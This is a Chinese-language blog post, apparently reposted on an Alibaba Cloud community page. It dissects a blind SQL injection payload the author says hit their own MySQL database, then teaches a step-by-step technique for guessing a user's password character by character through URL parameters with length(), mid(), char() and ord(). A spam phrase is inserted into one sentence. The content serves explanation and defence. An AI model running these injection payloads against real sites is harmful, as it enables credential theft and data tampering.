MySQL進階Hack入侵

來源:互聯網
上載者:User

標籤:http   io   os   使用   ar   資料   on   c   ad   

前些日子資料庫被入侵,文章的閱讀數都被纂改了,還好及時發現並做好備份。查一下 MySQL 陳述式記錄,發現這麼原來是這麼一句 SQL 在搗鬼:

UPDATE table SET views = ‘1‘ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#

PS:user 這個表是資料庫裡一個以前測試用的表,表的結構也寫到博文裡面,暴露了欄位。

這句 SQL 為什麼能那麼厲害呢?我們接下來分析一下。

1. 首先是 CAST(FirstName AS CHAR) 這個子句。MySQL 的 CAST() 函數可用來擷取一個類型的值,併產生另一個類型的值。具體的使用可以參看 MySQL CAST與CONVERT 函數的用法 這篇文章。我們執行一下,看看結果是什麼:

mysql> SELECT CAST(FirstName AS CHAR) FROM user;+-------------------------+| CAST(FirstName AS CHAR) |+-------------------------+| Gonn                    || Mio                     || Google                  || yale                    |+-------------------------+4 rows in set

就是將 FirstName 這個欄位全部轉成 CHAR 類型。

2. 接下來我們再看 IFNULL(CAST(FirstName AS CHAR),0x20) 這個子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否則它返回 expr2。具體可以參看《MySQL IFNULL()函數用法》。

執行一下:

mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user;+--------------------------------------+| IFNULL(CAST(FirstName AS CHAR),0x20) |+--------------------------------------+| Gonn                                 || Mio                                  || Google                               || yale                                 |+--------------------------------------+4 rows in set

雖然看起來結果沒啥不同,但是,它起到了一個作用。假設澳門賭場有哪些 CAST 轉換成 CHAR 失敗,它就會返回 0x20 這個值,為後面的 ORD 提供作用。

3. 接下來再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 這個子句。MID() 這個函數就是截取字串用的,具體可以看看《MySQL MID()函數用法》這個。

mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1);+----------------------------------------------------------------------------------------+| MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) |+----------------------------------------------------------------------------------------+| i                                                                                      |+----------------------------------------------------------------------------------------+1 row in set

就得到一個字母 i。

4. 關鍵的子句來了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函數返回字串第一個字元的 ASCII 值, 《《MySQL ORD()函數用法》》。

mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1));+---------------------------------------------------------------------------------------------+| ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) |+---------------------------------------------------------------------------------------------+|                                                                                         105 |+---------------------------------------------------------------------------------------------+1 row in set

就是 i 的 ASCII 碼是105.

如果是失敗,返回 0x20 這種情況:

mysql> SELECT ORD(‘0x20‘);+-------------+| ORD(‘0x20‘) |+-------------+|          48 |+-------------+1 row in set

兩種情況,在 ASCII 碼中都要比 112 前,就是下面的 hack 語句是可以執行的。

UPDATE table SET views = ‘1‘ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#
MySQL 猜解注入

在 MySQL 中內建了很多函數,利用它們,即使在沒有聯集查詢功能的老版本 MySQL 上也可以做一些意想不到的操作。假設網站存在於http://www.nm.net/,我們想知道使用者ID等於10的使用者的密碼,那麼首先進行如下請求:

http://www.nm.net/index.php?id=10 and length(password)=12#

我們通過 length() 函數以及是否正確返回正常頁面來確定使用者密碼的長度,這裡我們猜解的是12位,注意數字後要有一個#號。接下來用mid()和char()暴力猜解口令的每一個字元,如果猜對了則頁面返回正常:

http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#

Mid()函數原型是“Mid(str,pos,len)”,也可以用substring()函數。Char()函數的參數是ASCII值,在0~255之間,一個遍曆過去就可以完成破解。

另外還可以用between()函數先判斷這個字元是數字還是字母,縮小範圍,加快暴力破解的速度。例如要判斷字元是否是小寫字母還可以用如下請求:

http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#

除了char()函數,還可以用ord函數來進行猜解。Ord函數可以得到字元的ASCII值,所以它也能實作類別似的功能:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#

用ord函數的另一個好處就是可以使用大於小於這種運算子來確定字元的範圍:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#

就這樣慢慢一步步手工猜解注入。

MySQL進階Hack入侵

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.